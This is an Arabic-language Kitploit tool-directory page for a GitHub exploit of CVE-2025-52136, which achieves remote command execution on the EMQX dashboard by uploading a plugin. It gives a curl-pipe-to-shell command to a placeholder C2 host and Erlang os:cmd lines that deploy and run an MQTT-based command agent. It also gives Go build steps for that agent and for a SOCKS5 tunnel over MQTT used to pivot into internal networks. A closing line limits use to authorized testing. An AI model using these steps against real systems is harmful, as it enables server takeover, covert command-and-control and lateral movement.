Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-52136 — استغلال لثغرة CVE-2025-52136 يتيح تنفيذ الأوامر عن بُعد (RCE) على لوحة تحكم EMQX عبر رفع إضافات، مع وكيل أوامر قائم على MQTT ونفق SOCKS5 للاتصال خارج النطاق (C2) والتنقل داخل الشبكة. | Kitploit
أدوات/GitHubGitHub/f1r3k0/cve-2025-52136
الاستغلالالحركة الجانبيةاستغلال تطبيقات الويبالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubf1r3k0/cve-2025-52136

CVE-2025-52136

استغلال لثغرة CVE-2025-52136 يتيح تنفيذ الأوامر عن بُعد (RCE) على لوحة تحكم EMQX عبر رفع إضافات، مع وكيل أوامر قائم على MQTT ونفق SOCKS5 للاتصال خارج النطاق (C2) والتنقل داخل الشبكة.

عرض المستودع
5منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-52136

root@kitploit:~
https://github.com/ricardojoserf/emqx-RCE
الطريقة الأصلية للاستغلال تعتمد على رفع إضافة EMQX، وإضافة استدعاء وحدة Erlang os في قالب كود الإضافة لتنفيذ أوامر النظام والحصول على RCE

في بيئة متصلة بالإنترنت، حيث توجد أداة curl افتراضيًا، يمكن مباشرة استخدام curl http://xx.xx.xx.xx/1.sh | sh للاتصال بـ C2

عندما لا يكون الهدف متصلًا بالإنترنت، وبما أن EMQX本身就是 خادم رسائل MQTT، يمكن مباشرة رفع الإضافة وتنفيذ البرنامج القابل للتنفيذ المرفوع على خادم EMQX باستخدام EMQX كنواة لقائمة انتظار رسائل MQTT، يعمل البرنامج المنشور مباشرة كـ"وكيل أوامر النظام"، حيث يsubscribe أوامر العميل ثم ينشر نتائج التنفيذ مرة أخرى إلى الموضوع.

فكرة التصميم

root@kitploit:~
       +-------------+
       |   العميل     |
       |  إرسال رسالة الأمر |
       |  الموضوع: rx/cmd|
       +------+-------+
              |
           MQTT Broker (EMQX)
              |
       +------+-------+
       |  برنامج وكيل الأوامر |
       |  subscribe rx/cmd |
       |  تنفيذ أوامر النظام |
       |  publish tx/cmd |
       +--------------+

الترجمة والاستخدام

root@kitploit:~
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go

ثم باستخدام فكرة الاستغلال الأصلية، أضف ثلاثة أسطر في my_emqx_plugin.erl

root@kitploit:~
    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
    os:cmd("chmod +x /tmp/mqtt_agent"),
    os:cmd("bash -c \"/tmp/mqtt_agent\""),

بعد ترجمة الإضافة، استخدم أي أداة ضغط لوضع mqtt_agent في دليل my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

tar.gz

رفع الإضافة plugin

ثم في العميل أضف اشتراكًا لـ tx/cmd، مع الموضوع rx/cmd، ويمكن استخدامه مباشرة

cmd

نفق الوكيل

وبنفس الطريقة، يمكن فتح نفق بين Client ↔ Agent عبر MQTT، وإعادة توجيه بيانات TCP ثنائية الاتجاه عبر MQTT إلى Agent الداخلي، ثم يقوم Agent بالاتصال بالهدف الداخلي لتحقيق اختراق الشبكة الداخلية.

هذا الحل له بعض العيوب:

  1. عرض النطاق الترددي وزمن الاستجابة لـ MQTT
  2. الاتصالات المتزامنة العالية
root@kitploit:~
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid

go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go

طريقة الاستخدام مشابهة لعملية RCE المذكورة أعلاه، هنا نستخدم المنفذ المحلي مباشرة كـ socks5 لإعادة توجيه حركة المرور عبر النفق

ملاحظات على جانب Agent

  • يجب أن يكون Agent متوافقًا مع المواضيع المخصصة ورسائل التحكم (open/ack/close、data/c2a、data/a2c)
  • Agent يsubscribe إلى tunnel/+/+/ctrl و tunnel/+/+/data/c2a
  • Agent ينشر إلى tunnel/{session}/{connID}/data/a2c و .../ctrl للـ ack

نفق الوكيل يتم ترجمته واستخدامه ذاتيًا

تنبيه

هذه الأداة مخصصة للاستخدام فقط في بيئات مرخصة/بيئات اختبار، ويُمنع منعًا باتًا الاستخدام غير القانوني

تنزيل الأداة